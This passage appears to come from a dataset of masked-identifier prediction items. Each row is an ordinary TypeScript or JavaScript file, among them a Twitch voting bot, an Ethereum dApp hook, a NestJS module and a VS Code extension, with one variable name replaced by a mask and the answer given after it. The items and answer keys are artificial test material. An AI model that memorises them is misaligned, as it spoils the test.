                    aquaMsg.push({ payload:  [MASK] .Pressure });
                    aquaMsg.push({ payload:  [MASK] .BatteryVoltage });
                    aquaMsg.push({ payload:  [MASK] .BatteryPercentage });
                    aquaMsg.push({ payload:  [MASK] .Voltage });
                    aquaMsg.push({ payload:  [MASK] .Battery });
                    aquaMsg.push({ payload:  [MASK] .Endpoint });
                    aquaMsg.push({ payload:  [MASK] .LinkQuality });
                    aquaMsg.push({ payload: (new Date()).toString() });
                    aquaMsg.push({ payload: { [`${ [MASK] .Name}`]:  [MASK] .Temperature } });
                    aquaMsg.push({ payload: { [`${ [MASK] .Name}`]:  [MASK] .Humidity } });
                    send(aquaMsg);
                }


            }



            // Once finished, call 'done'.
            // This call is wrapped in a check that 'done' exists
            // so the node will work in earlier versions of Node-RED (<1.0)
            if (done) {
                done();
            }


        });


        /** 
         * Whenever a new flow is deployed, the existing nodes are deleted. 
         * If any of them need to tidy up state when this happens, such as 
         * disconnecting from a remote system, they should register a listener 
         * on the close event.
        */
        node.on('close', function (removed, done) {
            if (removed) {
                // This node has been disabled/deleted
            } else {
                // This node is being restarted
            }
            done();
        });

    }
    RED.nodes.registerType(""aqara-temperature-humidity-sensor"", aqaraTemperatureHumiditySensor);
}

module.exports = func;",aquaPayload
400,"import * as tmi from 'tmi.js'
import { twitch_username, twitch_token, twitch_channel }  from './envs.json'
import * as fs from 'fs'

// Main

let queue: string[] = [];
let votes: { [key: string]: number } = {};
const timer = setInterval(() => {
  if (!currentTurn()) {
    queue = [];
    votes = {};
    writeQueue([]);
  }
}, 1000)

const onMessageHandler = (target: any, context: any, msg: string, self: any) => {
  // don't listen to self
  if (self || !currentTurn()) {
    return;
  }
  // remove spaces
  let move = msg.trim()
  // message should only contain move
  const splits = move.split(' ')
  if (splits.length > 1) {
    move = splits[0]
  }
  // check if move is valid
  if (!validMove(move)) {
    return;
  }
  // add move to queue
  addMove(move)
  sortQueue()
}

const onConnectedHandler = ( [MASK] : string, port: number) => {
  console.log(`> Connected to ${ [MASK] }:${port}`)
}

const currentTurn = () => {
  const result = fs.readFileSync('./turn.txt', 'utf8')
  return result.toString().trim() == ""True""
}

const validMove = (s: string) => {
  const regex = /^[a-h][1-8][a-h][1-8]$/g
  return regex.test(s)
}

const addMove = (move: string) => {
  if (!Object.prototype.hasOwnProperty.call(votes, move)) {
    votes[move] = 1
  } else {
    votes[move] += 1
  }
}

const sortQueue = () => {
  console.log(`> Queueing a move...`)
  if (Object.keys(votes).length === 0) {
    console.log('>> No moves in votes. Aborting...')
    return;
  }

  queue = []
  const copy = { ...votes }

  while (queue.length < Object.keys(votes).length) {
    let max = 0
    let qMove = """"
    // find max
    for (const move in copy) {
      if (copy[move] > max) {
        max = copy[move]
        qMove = move
      }
    }
    queue.push(qMove)
    clearVote(copy, qMove)
  }

  writeQueue(queue)
}

const clearVote = (dict: Record<string, number>, move: string) => {
  if (Object.prototype.hasOwnProperty.call(dict, move)) {
    delete dict[move]
    return true
  } else {
    return false
  }
}

const writeQueue = (queue: string[]) => {
  console.log('> Writing queue to `moves.txt`...')
  const data = formatQueue(queue)
  const options = { flag: 'w' }
  fs.writeFileSync('moves.txt', data, options)
}

const formatQueue = (queue: string[]) => {
  let output = """"
  for (const move of queue) {
    output += `${move}\n`
  }
  return output
}


// Bot

const opts = {
  identity: {
    username: twitch_username,
    password: <PASSWORD>token,
  },
  channels: [
    twitch_channel,
  ]
}

const client = new tmi.client(opts)

client.on('message', onMessageHandler)
client.on('connected', onConnectedHandler)

client.connect()
",address
401,"import { ethers, Signer } from ""ethers"";
import { useContractCall, useContractFunction, useEthers, TransactionOptions } from ""@usedapp/core"";
// import { Contract } from ""@ethersproject/contracts"";
import simpleContractAbi from ""../abi/SimpleContract.json"";
import { simpleContractAddress } from ""../contracts"";
import { useCallback, useState } from ""react"";
import { usePromiseTransaction } from ""@usedapp/core/dist/esm/src/hooks/usePromiseTransaction"";
import { Contract } from ""@usedapp/core/node_modules/ethers"";
import { Web3Provider } from ""@usedapp/core/node_modules/@ethersproject/providers"";

const simpleContractInterface = new ethers.utils.Interface(simpleContractAbi);

export function useZombieInfo(id: string = ""0"") {
    const ZombieInfo: any =
        useContractCall({
            abi: simpleContractInterface,
            address: simpleContractAddress,
            method: ""zombies"",
            args: [id],
        }) ?? """";
    return ZombieInfo;
}

export function useListZombiesByOwner() {
    const { account } = useEthers();
    const ZombieIds: any =
        useContractCall({
            abi: simpleContractInterface,
            address: simpleContractAddress,
            method: ""getZombiesByOwner"",
            args: [account],
        }) ?? """";
    if (ZombieIds) {
        const idsArray = Array.from(ZombieIds);
        const idsArray2 = idsArray.map((e: any) => {
            return e.map((i: any) => i.toNumber().toString());
        });
        return idsArray2 ? idsArray2 : """";
    }
    // return ZombieIds;
}

const contract = new Contract(simpleContractAddress, simpleContractInterface);

// export function useCreateZombie(name:string) {
//     const { state, send } = useContractFunction(contract, ""createRandomZombie"", {name});
//     return { state, send };
//   }

// export function usecreateRandomZombie() {
//     const { state, send } = useContractFunction(contract, ""setCount"", {});
//     return { state, send };
//   }

export function useContractMethod(methodName: string) {
    const { state, send } = useContractFunction(contract, methodName, {});
    return { state, send };
}

export function connectContractToSigner(
    contract: Contract,
    options?: TransactionOptions,
    library?: Web3Provider
) {
    if (contract.signer) {
        return contract;
    }

    if (options?.signer) {
        //@ts-ignore
        return contract.connect(options.signer as Signer);
    }

    if (library?.getSigner()) {
        return contract.connect(library.getSigner());
    }

    throw new TypeError(""No signer available in contract, options or library"");
}

export const useContractFunction__fix = (
    contract: Contract,
    functionName: string,
    options?: TransactionOptions
) => {
    const { library, chainId } = useEthers();
    const [events, setEvents] = useState<Record<string, any> | undefined>(undefined);

    const { promiseTransaction, state } = usePromiseTransaction(chainId, options);

    const send = useCallback(
        async (...args: any[]) => {
            const  [MASK]  = connectContractToSigner(contract, options, library);
            const sendPromise =  [MASK] [functionName](...args).then(
                (result: any): Promise<any> => {
                    // Need to add chainId here to prevent ""TypeError: Unsupported Chain"" error message
                    result.chainId = chainId;
                    return result;
                }
            );

            const receipt: any = await promiseTransaction(sendPromise);

            if (receipt) {
                if (receipt.logs && receipt.logs.length > 0) {
                    setEvents(receipt.logs.map((log: any) => contract.interface.parseLog(log)));
                } else {
                    setEvents([]);
                }
            }
        },
        [contract, functionName, chainId, promiseTransaction, library, options]
    );

    return { send, state, events };
};

export function useContractMethod_fixd(methodName: string) {
    const { state, send, events } = useContractFunction__fix(contract, methodName, {});
    return { state, send, events };
}
",contractWithSigner
402,"import { IDoublePinYinType } from ""./interface"";
import pinyin from ""pinyin"";

export function GenerateCharDPCode(character: string, method: IDoublePinYinType): Array<String> {
    // 生成字符所使用的双拼编码
    const pronounce = pinyin(character, { style: pinyin.STYLE_NORMAL })[0][0]
    const initial = ""bpmfdtnlghkjqxzcsryw""
    const  [MASK]  = []
    
    if (initial.indexOf(pronounce[0]) != -1) {
        // 如果首字母是声母
        if (pronounce[1] == 'h') {
             [MASK] .push(generateCode(`${pronounce[0]}h`, method))
             [MASK] .push(generateCode(pronounce.substring(2), method))
        } else {
             [MASK] .push(pronounce[0])
             [MASK] .push(generateCode(pronounce.substring(1), method))
        }
    } else {
        // 零声母情况处理，可参考 https://bbs.flypy.com/forum.php?mod=viewthread&tid=4&page=1
        switch (method.initialOptions.Type) {
            case 0:
                 [MASK] .push(method.initialOptions.FixedInitial)
                break
            case 2:
                if (character.length == 2) {
                    return character.split('')
                }
            case 1:
                 [MASK] .push(pronounce[0])
        }
         [MASK] .push(generateCode(pronounce, method))
    }
    return  [MASK] 
}

function generateCode(character:string, method: IDoublePinYinType): string {
    if (character.length == 1) return character
    for (let prop in method.keymap) {
        if (method.keymap[prop].includes(character)) {
            return prop == 'Semicolon' ? ';' : prop.charAt(3).toLowerCase();
        }
    }
}",encodedChar
403,"import { MiddlewareConsumer, Module } from '@nestjs/common';
import { ConfigModule } from '@nestjs/config';
import { JwtModule } from '@nestjs/jwt';
import { MongooseModule } from '@nestjs/mongoose';
import { AuthMiddleware } from './middleware';
import { GlobalModule } from './module/global/global.module';
import { HealthModule } from './module/health/health.module';
import { ShortModule } from './module/short/short.module';
import { UrlModule } from './module/url/url.module';
import { UserModule } from './module/user/user.module';

@Module({
    imports: [
        UserModule,
        UrlModule,
        GlobalModule,
        HealthModule,
        ShortModule,
        ConfigModule.forRoot({
            envFilePath: `.env`,
            isGlobal: true,
        }),
        MongooseModule.forRoot(process.env.MONGODB_CONNECTION_STRING, {}),
        JwtModule.register({
            global: true,
            secret: process.env.JWT_SECRET,
            signOptions: { expiresIn: process.env.JWT_EXPIRATION_TIME },
        }),
    ],
    controllers: [],
    providers: [],
})
export class AppModule {
    // only allow api/user/login and api/user/register without token
    configure( [MASK] : MiddlewareConsumer) {
         [MASK] 
            .apply(AuthMiddleware)
            .exclude('/api/auth/login', '/api/auth/register')
            .forRoutes('/api/*');
    }
}
",consumer
404,"import { app, sequelize } from ""../express"";
import request from ""supertest"";

describe(""E2E test for product"", () => {
    beforeEach(async () => {
        await sequelize.sync({ force: true });
    });

    afterAll(async () => {
        await sequelize.close();
    });

    it(""should create a product"", async () => {
     const response =  await request(app).post(""/product"")
            .send({
                type:""a"",
                name:""product1"",
                price:200,
            });

        expect(response.status).toBe(200);
        expect.any(response.body.id)
        expect(response.body.name).toBe(""product1"");
        expect(response.body.price).toBe(200);
    })

    it(""should not create a product"", async () => {
        const response = await request(app).post(""/product"").send({
            name: ""product1"",
        });
        expect(response.status).toBe(500);
    });

    it(""should list all product"", async () => {

        const response =  await request(app).post(""/product"")
            .send({
                type:""a"",
                name:""product1"",
                price:200,
            });

        const  [MASK]  =  await request(app).post(""/product"")
            .send({
                type:""a"",
                name:""product2"",
                price:150,
            });

        expect(response.status).toBe(200);
        expect( [MASK] .status).toBe(200);

        const listResponse = await request(app).get(""/product"").send();

        expect(listResponse.status).toBe(200);
        expect(listResponse.body.products.length).toBe(2);
        const product1 = listResponse.body.products[0];
        const product2 = listResponse.body.products[1];
        expect(product1.name).toBe(""product1"");
        expect(product2.name).toBe(""product2"");
        expect(product1.price).toBe(200);
        expect(product2.price).toBe(150);
    })
})",response2
405,"/*
Copyright 2023 <NAME>.

Licensed under the Apache License, Version 2.0 (the ""License"");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an ""AS IS"" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

import type { EdgeBpmnSemantic, ElementsRegistry, ShapeBpmnSemantic } from 'bpmn-visualization';

const inferEdgeIds = (shapes: ShapeBpmnSemantic[]): string[] => {
  const incomingIds: string[] = [];
  const outgoingIds: string[] = [];
  for (const shape of shapes) {
    incomingIds.push(...shape.incomingIds);
    outgoingIds.push(...shape.outgoingIds);
  }
  return incomingIds.filter(incomingId => outgoingIds.includes(incomingId));
};

/**
 * A general implementation for Path resolution.
 *
 * As it is generic and covers general use cases, its capabilities are limited.
 *
 * For the path resolution of single case/instance of a process, prefer {@link CasePathResolver}.
 */
export class PathResolver {
  constructor(private readonly elementsRegistry: ElementsRegistry) {}

  /**
   * If the `shapeIds` parameter contains ids related to edges, these ids are ignored and not returned as part of the visited edges.
   *
   * @param shapeIds the ids used to compute the visited edges
   */
  getVisitedEdges(shapeIds: string[]): string[] {
    const shapes = this.elementsRegistry.getModelElementsByIds(shapeIds).filter(element => element.isShape) as ShapeBpmnSemantic[];
    return inferEdgeIds(shapes);
  }
}

/**
 * Provides path resolution for a single process instance/case.
 *
 * It is an enhanced implementation of {@link PathResolver} with resolution options and returns categorized `BpmnSemantic` objects.
 */
export class CasePathResolver {
  constructor(private readonly elementsRegistry: ElementsRegistry) {}

  compute(input: CasePathResolverInput): CasePathResolverOutput {
    const  [MASK]  = this.elementsRegistry.getModelElementsByIds(input.completedIds);

    const completedShapes =  [MASK] .filter(element => element.isShape) as ShapeBpmnSemantic[];
    const completedEdges =  [MASK] .filter(element => !element.isShape) as EdgeBpmnSemantic[];

    const inputElementIds = new Set( [MASK] .map(element => element.id));

    // infer edges from shapes
    const computedCompletedEdgeIds = inferEdgeIds(completedShapes).filter(id => !inputElementIds.has(id));
    const computedCompletedEdges = this.elementsRegistry.getModelElementsByIds(computedCompletedEdgeIds) as EdgeBpmnSemantic[];

    // infer shapes from edges
    const computedCompletedShapeIds = completedEdges.flatMap(edge => [edge.sourceRefId, edge.targetRefId]).filter(id => !inputElementIds.has(id));
    const computedCompletedShapes = this.elementsRegistry.getModelElementsByIds(computedCompletedShapeIds) as ShapeBpmnSemantic[];

    return {
      provided: {
        completed: {
          shapes: completedShapes,
          edges: completedEdges,
        },
      },
      computed: {
        completed: {
          shapes: computedCompletedShapes,
          edges: computedCompletedEdges,
        },
      },
    };
  }
}

export interface CasePathResolverInput {
  /**
   * The IDs of elements (flowNodes/shapes and flows/edges) that are already completed. Non-existing ids will be silently ignored.
   *
   * `Completed` means that the element has been fully executed or definitively cancelled (for BPM engines that support this and allow cancelled elements to be continued).
   * No further user action or automation will update the element.
   */
  completedIds: string[];
}

export interface CasePathResolverOutput {
  /**
   * The `BpmnSemantic` objects retrieved from the model that relate to the ids passed in {@link CasePathResolverInput}.
   */
  provided: {
    completed: {
      shapes: ShapeBpmnSemantic[];
      edges: EdgeBpmnSemantic[];
    };
  };
  computed: {
    completed: {
      shapes: ShapeBpmnSemantic[];
      edges: EdgeBpmnSemantic[];
    };
  };
}
",completedElements
406,"import { Component, OnInit, OnDestroy } from ""@angular/core"";
import { BehaviorSubject, Subscription } from ""rxjs"";
import { BlogPost } from ""src/app/objects/Post"";
import { PostsService } from ""src/app/services/posts-service.service"";

@Component({
  selector: ""app-index"",
  templateUrl: ""index.component.html""
})
export class IndexComponent implements OnInit, OnDestroy {

  private subscriptions$: Subscription[] = [];

  public posts: BehaviorSubject<BlogPost[]> = new BehaviorSubject<BlogPost[]>(null);

  isCollapsed = true;
  date = new Date();

  constructor(private postsService: PostsService) {}
  scrollToDownload(element: any) {
    element.scrollIntoView({ behavior: ""smooth"" });
  }
  ngOnInit() {
    window.scroll(0,0);
    var body = document.getElementsByTagName(""body"")[0];
    body.classList.add(""index-page"");

    this.subscriptions$.push(this.postsService.posts$.subscribe(posts => {
      if (posts == null || posts.length == 0) {
        return;
      }
      var  [MASK]  = posts['Blogs'].slice(-3);
      this.posts.next( [MASK] );
    }));
  }
  ngOnDestroy() {
    var body = document.getElementsByTagName(""body"")[0];
    body.classList.remove(""index-page"");

    this.subscriptions$.forEach(element => {
      element.unsubscribe();
    });
  }
}
",latestPosts
407,"import { defineConfig, fontProviders } from 'astro/config'

import icon from 'astro-icon'

import sitemap from '@astrojs/sitemap'

import tailwindcss from '@tailwindcss/vite'

// https://astro.build/config
export default defineConfig({
  site: 'https://blog.aozaki.cc',
  output: 'static',

  integrations: [
    icon(),
    sitemap({
      filter: page => {
        const { pathname } = new URL(page)

        // 用一组正则来描述所有“黑名单”路径
        const  [MASK] : RegExp[] = [
          /^\/photography\//, // 整个目录
          /^\/post\/subscription-lower-price\/?$/, // 指定文章
        ]

        // 只要命中其中一个正则，就过滤掉
        return ! [MASK] .some(re => re.test(pathname))
      },
    }),
  ],

  vite: {
    plugins: [tailwindcss()],
  },

  experimental: {
    fonts: [
      {
        provider: fontProviders.fontsource(),
        name: 'Maple Mono',
        cssVariable: '--font-maple-mono',
        subsets: ['latin'],
        styles: ['normal'],
        weights: [400],
      },
    ],
  },
})
",blocked
408,"import * as vscode from ""vscode"";
import MarkdownIt from ""markdown-it"";
import Prism from ""prismjs"";
import components from ""prismjs/components"";
import ""prismjs/components/prism-http"";
import ""prismjs/components/prism-json"";
import ""prismjs/components/prism-bash"";
import ""prismjs/components/prism-yaml"";

import adobeMarkdownPlugin from ""./plugin"";
import {
  checkMarkdownlintCustomProperty,
  checkMarkdownlintConfigSettings,
} from ""./controllers/lint-config-controller"";
import { generateTimestamp, output } from ""./lib/common"";
import { register } from ""./lib/commands"";
import { findAndReplaceTargetExpressions, getRootFolder } from ""./lib/utiity"";

const spectrumConfigSection = ""markdown-spectrum"";
/**
 * Activates the extension and registers event listeners and functions to enable various functionalities.
 * @param {vscode.ExtensionContext} context - The context of the extension.
 */
export function activate(context: vscode.ExtensionContext) {
  var extensionPath: string = context.extensionPath;
  const { msTimeValue } = generateTimestamp();
  output.appendLine(
    `[${msTimeValue}] - Activating Adobe Flavored Markdown extension at ${extensionPath}`
  );

  output.appendLine(`[${msTimeValue}] - Activating docs linting extension.`);
  // Markdown Lint custom rule check
  checkMarkdownlintCustomProperty();
  // Markdown Lint config check
  checkMarkdownlintConfigSettings();

  // Markdown Shortcuts
  function buildLanguageRegex(): RegExp {
    const languageArray: string[] | undefined = vscode.workspace
      .getConfiguration(""markdown"")
      .get(""languages"") || [""markdown""];
    return new RegExp(""("" + languageArray.join(""|"") + "")"");
  }

  function togglemarkdown(langId: string) {
    vscode.commands.executeCommand(
      ""setContext"",
      ""markdown:enabled"",
      languageRegex.test(langId)
    );
  }

  // Execute on activate
  let languageRegex = buildLanguageRegex();
  let activeEditor = vscode.window.activeTextEditor;
  if (activeEditor) {
    togglemarkdown(activeEditor.document.languageId);
  }

  // Update languageRegex if the configuration changes
  vscode.workspace.onDidChangeConfiguration(
    (configChange) => {
      if (configChange.affectsConfiguration(""markdown.languages"")) {
        languageRegex = buildLanguageRegex();
      }
    },
    null,
    context.subscriptions
  );

  // Enable/disable markdown
  vscode.window.onDidChangeActiveTextEditor(
    (editor) => {
      activeEditor = editor;
      if (activeEditor) {
        togglemarkdown(activeEditor.document.languageId);
      }
    },
    null,
    context.subscriptions
  );

  // When the document changes, find and replace target expressions (for example, smart quotes).
  vscode.workspace.onDidChangeTextDocument(findAndReplaceTargetExpressions);

  // Triggered with language id change
  vscode.workspace.onDidOpenTextDocument(
    (document) => {
      if (activeEditor && activeEditor.document === document) {
        togglemarkdown(activeEditor.document.languageId);
      }
    },
    null,
    context.subscriptions
  );

  register(context);
  output.appendLine(`[${msTimeValue}] - Registered markdown shortcuts`);

  console.log('Activated extension ""vscode-markdown-adobe""');
  // Extend MarkdownIt to process Adobe Flavored Markdown to HTML for preview.
  return {
    extendMarkdownIt(md: MarkdownIt) {
      // Set various options on the MarkdownIt instance
      md.set({
        html: true, // Enable HTML tags in source
        xhtmlOut: false, // Use '/' to close single tags (<br />).
        breaks: true, // Convert '\n' in paragraphs into <br>
        langPrefix: ""language-"", // CSS language prefix for fenced blocks
        linkify: true, // Autoconvert URL-like text to links
        typographer: true, // Enable smartypants and other sweet transforms
      });
      md = adobeMarkdownPlugin(md, getRootFolder()?.uri.path || extensionPath);
      md.use(injectSpectrumTheme).set({
        highlight: function (str: string, lang: string, attrs: any) {
          if (lang && Prism.languages[lang]) {
            try {
              return Prism.highlight(str, Prism.languages[lang], lang);
            } catch (__) {}
          }
          return str; // return original code if no language match
        },
        // Convert '\n' in paragraphs into <br>
        breaks: true,
      });

      md.renderer.rules.fence = (
        tokens: any[],
        idx: number,
        options: object,
        env: object,
        slf: object
      ) => {
        return customFenceRenderer(tokens, idx, options, env, slf, md);
      };
      return md;
    },
  };
}

/**
 * This function is called when the extension is deactivated.
 */
export function deactivate() {}

// The default Spectrum theme to use if no valid theme is found
const defaultSpectrumTheme = ""dark"";

// An array of valid Spectrum themes
const validSpectrumThemes = [""lightest"", ""light"", ""dark"", ""darkest""];

/**
 * Sanitizes a Spectrum theme by checking if it is a string and if it is a valid theme.
 * If the theme is not a string or is not a valid theme, the default theme is returned.
 * @param {string|undefined} theme - The Spectrum theme to sanitize.
 * @returns {string} - The sanitized Spectrum theme.
 */
function sanitizeSpectrumTheme(theme: string | undefined): string {
  // Check if the theme is a string and if it is a valid theme
  if (typeof theme === ""string"" && validSpectrumThemes.includes(theme)) {
    // If the theme is valid, return it
    return theme;
  } else {
    // If the theme is not valid, return the default theme
    return defaultSpectrumTheme;
  }
}

/**
 * Injects Spectrum theme settings into the Markdown preview.
 * @param {any} md - The Markdown renderer instance.
 * @returns {any} - The modified Markdown renderer instance.
 */
function injectSpectrumTheme(md: any): any {
  // Get the original render function from the Markdown renderer
  const render = md.renderer.render;

  // Override the render function to inject Spectrum theme settings
  md.renderer.render = function () {
    // Get the Spectrum theme configurations from settings.json
    const darkModeTheme = sanitizeSpectrumTheme(
      vscode.workspace
        .getConfiguration(spectrumConfigSection)
        .get(""darkModeTheme"")
    );
    const lightModeTheme = sanitizeSpectrumTheme(
      vscode.workspace
        .getConfiguration(spectrumConfigSection)
        .get(""lightModeTheme"")
    );

    // Inject the Spectrum theme settings into the Markdown preview.
    return `<sp-theme id=""${spectrumConfigSection}""
		theme=""spectrum""
		color=""light""
		scale=""medium"" aria-hidden=""true""
    data-dark-mode-theme=""${darkModeTheme}""
    data-light-mode-theme=""${lightModeTheme}"">
    <div id=""app"">
      <div data-id=""main"">
        <div data-id=""body"">
          ${render.apply(md.renderer, arguments)}
        </div>
      </div>
    </div>
  </sp-theme>`;
  };

  // Return the modified Markdown renderer instance
  return md;
}

/**
 * Extracts and returns lineNumberRows and preClass from langAttrs and code.
 * @param {string} langAttrs - Language attributes
 * @param {string} code - Code block content
 * @returns {{lineNumberRows: string, preClass: string, startLine: number}}
 */
function processLineNumbersAndHighlights(
  langAttrs: string,
  code: string
): {
  lineNumberRows: string;
  preClass: string;
  startLine: number;
  highlightLines: string[];
} {
  let lineNumberRows = """";
  let preClass = """";

  const startLineAttr = /start-line=[""'](\d+)[""']/.exec(langAttrs);
  const startLine = startLineAttr ? parseInt(startLineAttr[1]) : 1;

  let highlightLines: string[] = [];

  if (langAttrs) {
    const lineNumbersAttr = /line-numbers=[""']true[""']/.test(langAttrs);
    const highlightAttr =
      /highlight=[""']((\d+(-\d+)?)(,\s*\d+(-\d+)?)*)[""']/.exec(
        langAttrs.replace(/[{}]/g, """")
      );
    const highlightValue = highlightAttr ? highlightAttr[1] : """";
    highlightLines = Array.from(highlightValue.matchAll(/\d+(-\d+)?/g)).map(
      (match) => match[0]
    );

    if (lineNumbersAttr) {
      preClass = ""line-numbers"";
      const numberOfLines = code.split(""\n"").length - 1;
      lineNumberRows = `<span aria-hidden=""true"" class=""line-numbers-rows"">`;
      for (let i = 0; i < numberOfLines; i++) {
        lineNumberRows += ""<span></span>"";
      }
      lineNumberRows += ""</span>"";
    }

    preClass += ` language-html"" data-start=""${startLine}""`;
    if (highlightLines.length) {
      preClass += ` data-line=""${highlightLines.join("", "")}""`;
    }
  }

  return { lineNumberRows, preClass, startLine, highlightLines };
}

function generateLineHighlights(
  highlightLines: string[],
  startLine: number
): string {
  const lineRanges = highlightLines.map((range) =>
    range.split(""-"").map(Number)
  );
  return lineRanges
    .map(
      ([start, end]) =>
        `<div aria-hidden=""true"" data-range=""${start}-${
          end || start
        }"" class="" line-highlight"" style=""top: ${
          (start - startLine) * 24 + 2
        }px; height: ${((end || start) - start + 1) * 24}px;""></div>`
    )
    .join("""");
}

/**
 * Overrides fence renderer for code blocks with line numbering, line highlighting, and starting line number.
 * @param {Array} tokens - Tokens
 * @param {number} idx - Index
 * @param {Object} options - Options
 * @param {Object} env - Environment
 * @param {Object} slf - Self
 * @param {MarkdownIt} md - MarkdownIt instance
 * @returns {string} - Rendered HTML
 */
function customFenceRenderer(
  tokens: Array<any>,
  idx: number,
  options: object,
  env: object,
  slf: object,
  md: MarkdownIt
): string {
  const token = tokens[idx];
  const langInfo = token.info.trim();
  const langAttrs = langInfo.match(/{[^}]+}/)?.[0] || """";

  let code = token.content;

  const { lineNumberRows, preClass, startLine, highlightLines } =
    processLineNumbersAndHighlights(langAttrs, code);

  const langName = token.info ? token.info.split(/\s+/g)[0] : ""text"";
  const  [MASK]  = md.options.highlight(code, langName, langAttrs);

  const lineHighlights = generateLineHighlights(highlightLines, startLine);

  return `<div class=""code-toolbar""><pre class=""${preClass}"" tabindex=""0"" style=""counter-reset: linenumber ${
    startLine - 1
  };""><code class=""${langName}"">${ [MASK] }${lineNumberRows}</code>${lineHighlights}</pre></div>`;
}
",highlightedCode
409,"import { glob } from ""glob"";
import * as fs from ""node:fs"";
import * as os from ""node:os"";
import * as path from ""node:path"";
import simpleGit from ""simple-git"";
import type { DocFile } from ""./types"";

// Clone the repo to a tmp file and read docs files.
export async function loadDocsFromGitHub(): Promise<DocFile[]> {
	const REPO = ""https://github.com/pipe-cd/pipecd"";
	const BRANCH = ""master"";
	const DOCS_PATH = ""docs/content/en"";
	const  [MASK]  = ""**/*.{md,markdown}"";

	const git = simpleGit();
	const targetDir = path.join(os.tmpdir(), ""pipecd-docs-local-mcp-server"");

	try {
		// delete the targetDir if it already exists
		if (fs.existsSync(targetDir)) {
			await fs.promises.rm(targetDir, { recursive: true, force: false });
		}
	} catch (error) {
		console.error(`Error while deleting targetDir ${targetDir}: ${error}`);
	}

	try {
		console.info(`Start cloning repo ${REPO} to ${targetDir}`);
		await git.clone(REPO, targetDir, [
			""--depth"",
			""1"",
			""--branch"",
			BRANCH,
			""--sparse"",
			""--filter=blob:none"",
		]);
		await git.cwd(targetDir);
		await git.raw([""sparse-checkout"", ""set"", DOCS_PATH]);
		console.info(`Successfully cloned repo ${REPO} to ${targetDir}`);
	} catch (error) {
		console.error(`Error while cloning repo ${REPO} to ${targetDir}: ${error}`);
		throw error;
	}

	const docsParent = path.join(targetDir, DOCS_PATH);
	const relativePaths = await glob( [MASK] , { cwd: docsParent });

	if (relativePaths.length === 0) {
		console.error(`No Markdown files found in ${docsParent}.`);
		return [];
	}

	const docFiles: DocFile[] = [];
	for (const relativePath of relativePaths) {
		const absPath = path.join(docsParent, relativePath);
		try {
			const content = await fs.promises.readFile(absPath, ""utf-8"");
			const title = extractTitleFromFrontMatter(String(content));
			docFiles.push({
				path: relativePath,
				title: title.toLowerCase(),
				content: String(content),
			});
		} catch (error) {
			console.error(`Error reading file ${absPath}: ${error}`);
			return docFiles;
		}
	}

	return docFiles;
}

export function extractTitleFromFrontMatter(content: string): string {
	const titleMatch = content.match(/title:\s*""([^""]+)""/);
	return titleMatch ? titleMatch[1] : """";
}
",MARKDOWN_GLOB_PATTERN
410,"// NOTE: Use me to get the nonces for deterministic deployments. A wallet needs nonces on all chains equal to get the same deployment address on each
import { task } from ""hardhat/config"";
import { createAlchemyWeb3 } from ""@alch/alchemy-web3""
import { config as dotEnvConfig } from ""dotenv"";
dotEnvConfig();

task(""wallet"", ""returns nonce and balance for specified address on multiple networks"")
  .addParam(""address"")
  .setAction(async address => {
    const web3Goerli = createAlchemyWeb3(process.env.ALCHEMY_API_URL_GOERLI);
    const web3Mumbai = createAlchemyWeb3(process.env.ALCHEMY_API_URL_MUMBAI);

    const networkIDArr = [""Ethereum Goerli:"", ""Polygon  Mumbai:""]
    const providerArr = [web3Goerli, web3Mumbai];
    const  [MASK]  = [];

    for (let i = 0; i < providerArr.length; i++) {
      const nonce = await providerArr[i].eth.getTransactionCount(address.address, ""latest"");
      const balance = await providerArr[i].eth.getBalance(address.address)
       [MASK] .push([networkIDArr[i], nonce, parseFloat(providerArr[i].utils.fromWei(balance, ""ether"")).toFixed(2) + ""ETH""]);
    }
     [MASK] .unshift([""  |NETWORK|   |NONCE|   |BALANCE|  ""])
    console.log( [MASK] );
  });
",resultArr
411,"import { ValidationResult } from '../lib/result';
import { AsyncValidation, InferValidations, KeyOf, SyncValidation, Validation, ValidationMetadata, Validator } from '../lib/types';

export function expectResultValid(result: ValidationResult): void {
  expect(result.isValid).toBe(true);
}

export function expectResultInvalid(result: ValidationResult): void {
  expect(result.isValid).toBe(false);
}

export function expectFailureLength(result: ValidationResult, length: number): void {
  expect(result.failures).toHaveLength(length);
}

export function expectValidationsFor<T extends object, Validations extends object = InferValidations<Validator<T>>>(
  validator: Validator<T, Validations>,
  validationsKey: KeyOf<T>
): void {
  expect(validator.validations).toHaveProperty(validationsKey);
}

export function expectValidationsForWithLength<T extends object, Validations extends object = InferValidations<Validator<T>>>(
  validator: Validator<T, Validations>,
  validationsKey: KeyOf<Validator<T, Validations>['validations']>,
  length: number
): void {
  expect((validator.validations as Record<string, Validation<T[KeyOf<T>], T>[]>)[validationsKey]).toHaveLength(length);
}

export function expectValidationToPass<TValue, TModel>(validation: SyncValidation<TValue, TModel>, value: TValue): void {
  expect(validation(value)).toBe(true);
}

export async function expectValidationToPassAsync<TValue, TModel>(
  validation: AsyncValidation<TValue, TModel>,
  value: TValue
): Promise<void> {
  expect(await validation(value)).toBe(true);
}

export function expectValidationToFail<TValue, TModel>(validation: SyncValidation<TValue, TModel>, value: TValue): void {
  expect(validation(value)).toBe(false);
}

export async function expectValidationToFailAsync<TValue, TModel>(
  validation: AsyncValidation<TValue, TModel>,
  value: TValue
): Promise<void> {
  expect(await validation(value)).toBe(false);
}

export function expectValidationMessageToBe<TValue, TModel>(validation: Validation<TValue, TModel>, message: string): void {
  expect(validation.metadata.message).toBe(message);
}

export function expectValidationMessageToBeUndefined<TValue, TModel>(validation: Validation<TValue, TModel>): void {
  expect(validation.metadata.message).toBeUndefined();
}

export function expectValidationErrorCodeToBe<TValue, TModel>(validation: Validation<TValue, TModel>, errorCode: string): void {
  expect(validation.metadata.errorCode).toBe(errorCode);
}

export function expectValidationErrorCodeToBeUndefined<TValue, TModel>(validation: Validation<TValue, TModel>): void {
  expect(validation.metadata.errorCode).toBeUndefined();
}

export function expectValidationPropertyNameToBe<TValue, TModel>(validation: Validation<TValue, TModel>, propertyName: string): void {
  expect(validation.metadata.propertyName).toBe(propertyName);
}

export function expectValidationPropertyNameOverrideToBe<TValue, TModel>(
  validation: Validation<TValue, TModel>,
  propertyNameOverride: string
): void {
